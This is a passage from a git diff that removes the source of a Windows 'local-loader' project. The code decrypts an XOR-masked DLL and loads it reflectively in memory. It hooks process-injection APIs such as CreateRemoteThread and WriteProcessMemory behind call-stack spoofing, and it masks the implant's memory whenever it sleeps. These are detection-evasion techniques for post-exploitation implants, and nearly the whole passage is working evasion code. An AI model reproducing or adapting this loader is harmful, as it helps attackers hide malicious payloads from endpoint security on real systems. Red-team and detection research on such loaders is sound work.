DWORD ); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx ( HANDLE, LPVOID, SIZE_T, DWORD, PDWORD ); -DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery ( LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T ); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory ( HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T * ); - -DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance ( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * ); - -DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN ); - -// cannot put this here because it fails to build -// to PIC when hooks.x64.o is merged into the loader -// extern MEMORY_LAYOUT g_memory; - -HINTERNET WINAPI _InternetOpenA ( LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( WININET$InternetOpenA ); - call.argc = 5; - call.args [ 0 ] = spoof_arg ( lpszAgent ); - call.args [ 1 ] = spoof_arg ( dwAccessType ); - call.args [ 2 ] = spoof_arg ( lpszProxy ); - call.args [ 3 ] = spoof_arg ( lpszProxyBypass ); - call.args [ 4 ] = spoof_arg ( dwFlags ); - - return ( HINTERNET ) spoof_call ( &call ); -} - -HINTERNET WINAPI _InternetConnectA ( HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( WININET$InternetConnectA ); - call.argc = 8; - call.args [ 0 ] = spoof_arg ( hInternet ); - call.args [ 1 ] = spoof_arg ( lpszServerName ); - call.args [ 2 ] = spoof_arg ( nServerPort ); - call.args [ 3 ] = spoof_arg ( lpszUserName ); - call.args [ 4 ] = spoof_arg ( lpszPassword ); - call.args [ 5 ] = spoof_arg ( dwService ); - call.args [ 6 ] = spoof_arg ( dwFlags ); - call.args [ 7 ] = spoof_arg ( dwContext ); - - return ( HINTERNET ) spoof_call ( &call ); -} - -BOOL WINAPI _CloseHandle ( HANDLE hObject ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( KERNEL32$CloseHandle ); - call.argc = 1; - - call.args [ 0 ] = spoof_arg ( hObject ); - - return ( BOOL ) spoof_call ( &call ); -} - -HANDLE WINAPI _CreateFileMappingA ( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( KERNEL32$CreateFileMappingA ); - call.argc = 6; - - call.args [ 0 ] = spoof_arg ( hFile ); - call.args [ 1 ] = spoof_arg ( lpFileMappingAttributes ); - call.args [ 2 ] = spoof_arg ( flProtect ); - call.args [ 3 ] = spoof_arg ( dwMaximumSizeHigh ); - call.args [ 4 ] = spoof_arg ( dwMaximumSizeLow ); - call.args [ 5 ] = spoof_arg ( lpName ); - - return ( HANDLE ) spoof_call ( &call ); -} - -BOOL _CreateProcessA ( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( KERNEL32$CreateProcessA ); - call.argc = 10; - - call.args [ 0 ] = spoof_arg ( lpApplicationName ); - call.args [ 1 ] = spoof_arg ( lpCommandLine ); - call.args [ 2 ] = spoof_arg ( lpProcessAttributes ); - call.args [ 3 ] = spoof_arg ( lpThreadAttributes ); - call.args [ 4 ] = spoof_arg ( bInheritHandles ); - call.args [ 5 ] = spoof_arg ( dwCreationFlags ); - call.args [ 6 ] = spoof_arg ( lpEnvironment ); - call.args [ 7 ] = spoof_arg ( lpCurrentDirectory ); - call.args [ 8 ] = spoof_arg ( lpStartupInfo ); - call.args [ 9 ] = spoof_arg ( lpProcessInformation ); - - return ( BOOL ) spoof_call ( &call ); -} - -HANDLE WINAPI _CreateRemoteThread ( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( KERNEL32$CreateRemoteThread ); - call.argc = 7; - - call.args [ 0 ] = spoof_arg ( hProcess ); - call.args [ 1 ] = spoof_arg ( lpThreadAttributes ); - call.args [ 2 ] = spoof_arg ( dwStackSize ); - call.args [ 3 ] = spoof_arg ( lpStartAddress ); - call.args [ 4 ] = spoof_arg ( lpParameter ); - call.args [ 5 ] = spoof_arg ( dwCreationFlags ); - call.args [ 6 ] = spoof_arg ( lpThreadId ); - - return ( HANDLE ) spoof_call ( &call ); -} - -HANDLE WINAPI _CreateThread ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( KERNEL32$CreateThread ); - call.argc = 6; - - call.args [ 0 ] = spoof_arg ( lpThreadAttributes ); - call.args [ 1 ] = spoof_arg ( dwStackSize ); - call.args [ 2 ] = spoof_arg ( lpStartAddress ); - call.args [ 3 ] = spoof_arg ( lpParameter ); - call.args [ 4 ] = spoof_arg ( dwCreationFlags ); - call.args [ 5 ] = spoof_arg ( lpThreadId ); - - return ( HANDLE ) spoof_call ( &call ); -} - -HRESULT WINAPI _CoCreateInstance ( REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID * ppv ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( OLE32$CoCreateInstance ); - call.argc = 5; - - call.args [ 0 ] = spoof_arg ( rclsid ); - call.args [ 1 ] = spoof_arg ( pUnkOuter ); - call.args [ 2 ] = spoof_arg ( dwClsContext ); - call.args [ 3 ] = spoof_arg ( riid ); - call.args [ 4 ] = spoof_arg ( ppv ); - - return ( HRESULT ) spoof_call ( &call ); -} - -BOOL WINAPI _DuplicateHandle ( HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( KERNEL32$DuplicateHandle ); - call.argc = 7; - - call.args [ 0 ] = spoof_arg ( hSourceProcessHandle ); - call.args [ 1 ] = spoof_arg ( hSourceHandle ); - call.args [ 2 ] = spoof_arg ( hTargetProcessHandle ); - call.args [ 3 ] = spoof_arg ( lpTargetHandle ); - call.args [ 4 ] = spoof_arg ( dwDesiredAccess ); - call.args [ 5 ] = spoof_arg ( bInheritHandle ); - call.args [ 6 ] = spoof_arg ( dwOptions ); - - return ( BOOL ) spoof_call ( &call ); -} - -HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( LoadLibraryA ); - call.argc = 1; - - call.args [ 0 ] = spoof_arg ( lpLibFileName ); - - return ( HMODULE ) spoof_call ( &call ); -} - -BOOL WINAPI _GetThreadContext ( HANDLE hThread, LPCONTEXT lpContext ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( KERNEL32$GetThreadContext ); - call.argc = 2; - - call.args [ 0 ] = spoof_arg ( hThread ); - call.args [ 1 ] = spoof_arg ( lpContext ); - - return ( BOOL ) spoof_call ( &call ); -} - -LPVOID WINAPI _MapViewOfFile ( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( KERNEL32$MapViewOfFile ); - call.argc = 5; - - call.args [ 0 ] = spoof_arg ( hFileMappingObject ); - call.args [ 1 ] = spoof_arg ( dwDesiredAccess ); - call.args [ 2 ] = spoof_arg ( dwFileOffsetHigh ); - call.args [ 3 ] = spoof_arg ( dwFileOffsetLow ); - call.args [ 4 ] = spoof_arg ( dwNumberOfBytesToMap ); - - return ( LPVOID ) spoof_call ( &call ); -} - -HANDLE WINAPI _OpenProcess ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( KERNEL32$OpenProcess ); - call.argc = 3; - - call.args [ 0 ] = spoof_arg ( dwDesiredAccess ); - call.args [ 1 ] = spoof_arg ( bInheritHandle ); - call.args [ 2 ] = spoof_arg ( dwProcessId ); - - return ( HANDLE ) spoof_call ( &call ); -} - -HANDLE WINAPI _OpenThread ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( KERNEL32$OpenThread ); - call.argc = 3; - - call.args [ 0 ] = spoof_arg ( dwDesiredAccess ); - call.args [ 1 ] = spoof_arg ( bInheritHandle ); - call.args [ 2 ] = spoof_arg ( dwThreadId ); - - return ( HANDLE ) spoof_call ( &call ); -} - -BOOL WINAPI _ReadProcessMemory ( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( KERNEL32$ReadProcessMemory ); - call.argc = 5; - - call.args [ 0 ] = spoof_arg ( hProcess ); - call.args [ 1 ] = spoof_arg ( lpBaseAddress ); - call.args [ 2 ] = spoof_arg ( lpBuffer ); - call.args [ 3 ] = spoof_arg ( nSize ); - call.args [ 4 ] = spoof_arg ( lpNumberOfBytesRead ); - - return ( BOOL ) spoof_call ( &call ); -} - -DWORD WINAPI _ResumeThread ( HANDLE hThread ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( KERNEL32$ResumeThread ); - call.argc = 1; - - call.args [ 0 ] = spoof_arg ( hThread ); - - return ( DWORD ) spoof_call ( &call ); -} - -BOOL WINAPI _SetThreadContext ( HANDLE hThread, const CONTEXT * lpContext ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( KERNEL32$SetThreadContext ); - call.argc = 2; - - call.args [ 0 ] = spoof_arg ( hThread ); - call.args [ 1 ] = spoof_arg ( lpContext ); - - return ( BOOL ) spoof_call ( &call ); -} - -BOOL WINAPI _UnmapViewOfFile ( LPCVOID lpBaseAddress ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( KERNEL32$UnmapViewOfFile ); - call.argc = 1; - - call.args [ 0 ] = spoof_arg ( lpBaseAddress ); - - return ( BOOL ) spoof_call ( &call ); -} - -LPVOID WINAPI _VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( KERNEL32$VirtualAlloc ); - call.argc = 4; - - call.args [ 0 ] = spoof_arg ( lpAddress ); - call.args [ 1 ] = spoof_arg ( dwSize ); - call.args [ 2 ] = spoof_arg ( flAllocationType ); - call.args [ 3 ] = spoof_arg ( flProtect ); - - return ( LPVOID ) spoof_call ( &call ); -} - -LPVOID WINAPI _VirtualAllocEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( KERNEL32$VirtualAllocEx ); - call.argc = 5; - - call.args [ 0 ] = spoof_arg ( hProcess ); - call.args [ 1 ] = spoof_arg ( lpAddress ); - call.args [ 2 ] = spoof_arg ( dwSize ); - call.args [ 3 ] = spoof_arg ( flAllocationType ); - call.args [ 4 ] = spoof_arg ( flProtect ); - - return ( LPVOID ) spoof_call ( &call ); -} - -BOOL WINAPI _VirtualFree ( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( KERNEL32$VirtualFree ); - call.argc = 3; - - call.args [ 0 ] = spoof_arg ( lpAddress ); - call.args [ 1 ] = spoof_arg ( dwSize ); - call.args [ 2 ] = spoof_arg ( dwFreeType ); - - return ( BOOL ) spoof_call ( &call ); -} - -BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( KERNEL32$VirtualProtect ); - call.argc = 4; - - call.args [ 0 ] = spoof_arg ( lpAddress ); - call.args [ 1 ] = spoof_arg ( dwSize ); - call.args [ 2 ] = spoof_arg ( flNewProtect ); - call.args [ 3 ] = spoof_arg ( lpflOldProtect ); - - return ( BOOL ) spoof_call ( &call ); -} - -BOOL WINAPI _VirtualProtectEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( KERNEL32$VirtualProtectEx ); - call.argc = 5; - - call.args [ 0 ] = spoof_arg ( hProcess ); - call.args [ 1 ] = spoof_arg ( lpAddress ); - call.args [ 2 ] = spoof_arg ( dwSize ); - call.args [ 3 ] = spoof_arg ( flNewProtect ); - call.args [ 4 ] = spoof_arg ( lpflOldProtect ); - - return ( BOOL ) spoof_call ( &call ); -} - -SIZE_T WINAPI _VirtualQuery ( LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( KERNEL32$VirtualQuery ); - call.argc = 3; - - call.args [ 0 ] = spoof_arg ( lpAddress ); - call.args [ 1 ] = spoof_arg ( lpBuffer ); - call.args [ 2 ] = spoof_arg ( dwLength ); - - return ( SIZE_T ) spoof_call ( &call ); -} - -BOOL WINAPI _WriteProcessMemory ( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( KERNEL32$WriteProcessMemory ); - call.argc = 5; - - call.args [ 0 ] = spoof_arg ( hProcess ); - call.args [ 1 ] = spoof_arg ( lpBaseAddress ); - call.args [ 2 ] = spoof_arg ( lpBuffer ); - call.args [ 3 ] = spoof_arg ( nSize ); - call.args [ 4 ] = spoof_arg ( lpNumberOfBytesWritten ); - - return ( BOOL ) spoof_call ( &call ); -} diff --git a/local-loader/src/loader.c b/local-loader/src/loader.c deleted file mode 100644 index c33972c..0000000 --- a/local-loader/src/loader.c +++ /dev/null @@ -1,146 +0,0 @@ -#include -#include "loader.h" -#include "tcg.h" -#include "memory.h" - -DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); - -char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) ); -char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) ); -char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) ); - -int __tag_setup_hooks ( ); -int __tag_setup_memory ( ); - -typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs ); -typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout ); - -void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region ) -{ - DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections; - IMAGE_SECTION_HEADER * section_hdr = NULL; - void * section_dst = NULL; - DWORD section_size = 0; - DWORD new_protect = 0; - DWORD old_protect = 0; - - section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader ); - - for ( int i = 0; i < section_count; i++ ) - { - section_dst = dst + section_hdr->VirtualAddress; - section_size = section_hdr->SizeOfRawData; - - if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) { - new_protect = PAGE_WRITECOPY; - } - if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) { - new_protect = PAGE_READONLY; - } - if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) { - new_protect = PAGE_READWRITE; - } - if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) { - new_protect = PAGE_EXECUTE; - } - if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) { - new_protect = PAGE_EXECUTE_WRITECOPY; - } - if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) { - new_protect = PAGE_EXECUTE_READ; - } - if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) { - new_protect = PAGE_EXECUTE_READWRITE; - } - - /* set new permission */ - KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect ); - - /* track memory */ - region->Sections[ i ].BaseAddress = section_dst; - region->Sections[ i ].Size = section_size; - region->Sections[ i ].CurrentProtect = new_protect; - region->Sections[ i ].PreviousProtect = new_protect; - - /* advance to section */ - section_hdr++; - } -} - -void go ( ) -{ - /* populate funcs */ - IMPORTFUNCS funcs; - funcs.LoadLibraryA = LoadLibraryA; - funcs.GetProcAddress = GetProcAddress; - - /* load the pico */ - char * pico_src = GETRESOURCE ( _PICO_ ); - - /* allocate memory for it */ - PICO * pico_dst = ( PICO * ) KERNEL32$VirtualAlloc ( NULL, sizeof ( PICO ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); - - /* load it into memory */ - PicoLoad ( &funcs, pico_src, pico_dst->code, pico_dst->data ); - - /* make code section RX */ - DWORD old_protect; - KERNEL32$VirtualProtect ( pico_dst->code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect ); - - /* begin tracking memory allocations */ - MEMORY_LAYOUT memory = { 0 }; - - memory.Pico.BaseAddress = ( PVOID ) ( pico_dst ); - memory.Pico.Size = sizeof ( PICO ); - - memory.Pico.Sections[ 0 ].BaseAddress = ( PVOID ) ( pico_dst->data ); - memory.Pico.Sections[ 0 ].Size = PicoDataSize ( pico_src ); - memory.Pico.Sections[ 0 ].CurrentProtect = PAGE_READWRITE; - memory.Pico.Sections[ 0 ].PreviousProtect = PAGE_READWRITE; - memory.Pico.Sections[ 1 ].BaseAddress = ( PVOID ) ( pico_dst->code ); - memory.Pico.Sections[ 1 ].Size = PicoCodeSize ( pico_src ); - memory.Pico.Sections[ 1 ].CurrentProtect = PAGE_EXECUTE_READ; - memory.Pico.Sections[ 1 ].PreviousProtect = PAGE_EXECUTE_READ; - - /* call setup_hooks to overwrite funcs.GetProcAddress */ - ( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_hooks ( ) ) ) ( &funcs ); - - /* now load the dll (it's masked) */ - RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ ); - RESOURCE * mask_key = ( RESOURCE * ) GETRESOURCE ( _MASK_ ); - - /* load dll into memory and unmask it */ - char * dll_src = KERNEL32$VirtualAlloc ( NULL, masked_dll->len, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); - - for ( int i = 0; i < masked_dll->len; i++ ) { - dll_src [ i ] = masked_dll->value [ i ] ^ mask_key->value [ i % mask_key->len ]; - } - - DLLDATA dll_data; - ParseDLL ( dll_src, &dll_data ); - - char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); - - LoadDLL ( &dll_data, dll_src, dll_dst ); - - /* track dll's memory */ - memory.Dll.BaseAddress = ( PVOID ) ( dll_dst ); - memory.Dll.Size = SizeOfDLL ( &dll_data ); - - ProcessImports ( &funcs, &dll_data, dll_dst ); - fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll ); - - /* call setup_memory to give PICO the memory info */ - ( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_memory ( ) ) ) ( &memory ); - - /* now run the DLL */ - DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst ); - - /* free the unmasked copy */ - KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE ); - - entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL ); - entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL ); -} diff --git a/local-loader/src/loader.h b/local-loader/src/loader.h deleted file mode 100644 index 5bdf12b..0000000 --- a/local-loader/src/loader.h +++ /dev/null @@ -1,11 +0,0 @@ -#define GETRESOURCE(x) ( char * ) &x - -typedef struct { - char data [ 4096 ]; - char code [ 16384 ]; -} PICO; - -typedef struct { - int len; - char value[]; -} RESOURCE; diff --git a/local-loader/src/mask.c b/local-loader/src/mask.c deleted file mode 100644 index 7afbe2d..0000000 --- a/local-loader/src/mask.c +++ /dev/null @@ -1,72 +0,0 @@ -#include -#include "memory.h" -#include "spoof.h" - -DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD ); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); - -char xorkey [ 128 ] = { 1 }; - -void apply_mask ( char * data, DWORD len ) -{ - for ( DWORD i = 0; i < len; i++ ) - { - data [ i ] ^= xorkey [ i % 128 ]; - } -} - -BOOL is_writeable ( DWORD protection ) -{ - if ( protection == PAGE_EXECUTE_READWRITE || - protection == PAGE_EXECUTE_WRITECOPY || - protection == PAGE_READWRITE || - protection == PAGE_WRITECOPY ) - { - return TRUE; - } - - return FALSE; -} - -void xor_section ( MEMORY_SECTION * section, BOOL mask ) -{ - if ( mask == TRUE && is_writeable ( section->CurrentProtect ) == FALSE ) - { - DWORD old_protect = 0; - - if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, PAGE_READWRITE, &old_protect ) ) - { - section->CurrentProtect = PAGE_READWRITE; - section->PreviousProtect = old_protect; - } - } - - if ( is_writeable ( section->CurrentProtect ) ) - { - apply_mask ( section->BaseAddress, section->Size ); - } - - if ( mask == FALSE && section->CurrentProtect != section->PreviousProtect ) - { - DWORD old_protect = 0; - - if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, section->PreviousProtect, &old_protect ) ) - { - section->CurrentProtect = section->PreviousProtect; - section->PreviousProtect = old_protect; - } - } -} - -void xor_region ( MEMORY_REGION * region, BOOL mask ) -{ - for ( int i = 0; i < 20; i++ ) - { - xor_section ( ®ion->Sections [ i ], mask ); - } -} - -void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask ) -{ - xor_region ( &memory->Dll, mask ); -} diff --git a/local-loader/src/mask.h b/local-loader/src/mask.h deleted file mode 100644 index 9469faf..0000000 --- a/local-loader/src/mask.h +++ /dev/null @@ -1 +0,0 @@ -void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask ); \ No newline at end of file diff --git a/local-loader/src/memory.h b/local-loader/src/memory.h deleted file mode 100644 index 4bae792..0000000 --- a/local-loader/src/memory.h +++ /dev/null @@ -1,17 +0,0 @@ -typedef struct { - PVOID BaseAddress; - SIZE_T Size; - DWORD CurrentProtect; - DWORD PreviousProtect; -} MEMORY_SECTION; - -typedef struct { - PVOID BaseAddress; - SIZE_T Size; - MEMORY_SECTION Sections [ 20 ]; -} MEMORY_REGION; - -typedef struct { - MEMORY_REGION Pico; - MEMORY_REGION Dll; -} MEMORY_LAYOUT; diff --git a/local-loader/src/pico.c b/local-loader/src/pico.c deleted file mode 100644 index 932689d..0000000 --- a/local-loader/src/pico.c +++ /dev/null @@ -1,93 +0,0 @@ -#include -#include "memory.h" -#include "mask.h" -#include "spoof.h" -#include "cleanup.h" -#include "tcg.h" - -MEMORY_LAYOUT g_memory; - -DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD ); -DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD ); - -FARPROC WINAPI _GetProcAddress ( HMODULE hModule, LPCSTR lpProcName ) -{ - /* lpProcName may be an ordinal */ - if ( ( ULONG_PTR ) lpProcName >> 16 == 0 ) - { - /* just resolve normally */ - return GetProcAddress ( hModule, lpProcName ); - } - - FARPROC result = __resolve_hook ( ror13hash ( lpProcName ) ); - - /* - * result may still be NULL if - * it wasn't hooked in the spec - */ - if ( result != NULL ) { - return result; - } - - return GetProcAddress ( hModule, lpProcName ); -} - -void setup_hooks ( IMPORTFUNCS * funcs ) -{ - funcs->GetProcAddress = ( __typeof__ ( GetProcAddress ) * ) _GetProcAddress; -} - -void setup_memory ( MEMORY_LAYOUT * layout ) -{ - if ( layout != NULL ) { - g_memory = * layout; - } -} - -/* - * throw these hooks in here because - * sharing a global across multiple - * modules is still a bit of a headache - */ - -VOID WINAPI _Sleep ( DWORD dwMilliseconds ) -{ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( KERNEL32$Sleep ); - call.argc = 1; - - call.args [ 0 ] = spoof_arg ( dwMilliseconds ); - - /* - * for performance reasons, only mask - * memory if sleep time is equal to - * or greater than 1 second - */ - - if ( dwMilliseconds >= 1000 ) { - mask_memory ( &g_memory, TRUE ); - } - - spoof_call ( &call ); - - if ( dwMilliseconds >= 1000 ) { - mask_memory ( &g_memory, FALSE ); - } -} - -VOID WINAPI _ExitThread ( DWORD dwExitCode ) -{ - /* free memory */ - cleanup_memory ( &g_memory ); - - /* call the real exit thread */ - FUNCTION_CALL call = { 0 }; - - call.ptr = ( PVOID ) ( KERNEL32$ExitThread ); - call.argc = 1; - - call.args [ 0 ] = spoof_arg ( dwExitCode ); - - spoof_call ( &call ); -} diff --git a/local-loader/src/services.c b/local-loader/src/services.c deleted file mode 100644 index a0a1797..0000000 --- a/local-loader/src/services.c +++ /dev/null @@ -1,15 +0,0 @@ -#include - -/* patch function pointers in */ -__typeof__ ( GetModuleHandle ) * get_module_handle __attribute__ ( ( section ( ".text" ) ) ); -__typeof__ ( GetProcAddress ) * get_proc_address __attribute__ ( ( section ( ".text" ) ) ); - -/** - * This function is used to locate functions in - * modules that are loaded by default (K32 & NTDLL) - */ -FARPROC resolve ( char * mod_name, char * func_name ) -{ - HANDLE module = get_module_handle ( mod_name ); - return get_proc_address ( module, func_name ); -} diff --git a/local-loader/src/spoof.c b/local-loader/src/spoof.c deleted file mode 100644 index 011ae27..0000000 --- a/local-loader/src/spoof.c +++ /dev/null @@ -1,378 +0,0 @@ -#include -#include "spoof.h" -#include "tcg.h" - -DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR ); -DECLSPEC_IMPORT RUNTIME_FUNCTION * WINAPI KERNEL32$RtlLookupFunctionEntry ( DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE ); -DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx ( PULONG ); - -#define TEXT_HASH 0xEBC2F9B4 -#define RBP_OP_INFO 0x5 - -typedef struct { - LPCWSTR DllPath; - ULONG Offset; - ULONGLONG TotalStackSize; - BOOL RequiresLoadLibrary; - BOOL SetsFramePointer; - PVOID ReturnAddress; - BOOL PushRbp; - ULONG CountOfCodes; - BOOL PushRbpIndex; -} STACK_FRAME; - -typedef enum { - UWOP_PUSH_NONVOL = 0, - UWOP_ALLOC_LARGE, - UWOP_ALLOC_SMALL, - UWOP_SET_FPREG, - UWOP_SAVE_NONVOL, - UWOP_SAVE_NONVOL_FAR, - UWOP_SAVE_XMM128 = 8, - UWOP_SAVE_XMM128_FAR, - UWOP_PUSH_MACHFRAME -} UNWIND_CODE_OPS; - -typedef unsigned char UBYTE; - -typedef union { - struct { - UBYTE CodeOffset; - UBYTE UnwindOp : 4; - UBYTE OpInfo : 4; - }; - USHORT FrameOffset; -} UNWIND_CODE; - -typedef struct { - UBYTE Version : 3; - UBYTE Flags : 5; - UBYTE SizeOfProlog; - UBYTE CountOfCodes; - UBYTE FrameRegister : 4; - UBYTE FrameOffset : 4; - UNWIND_CODE 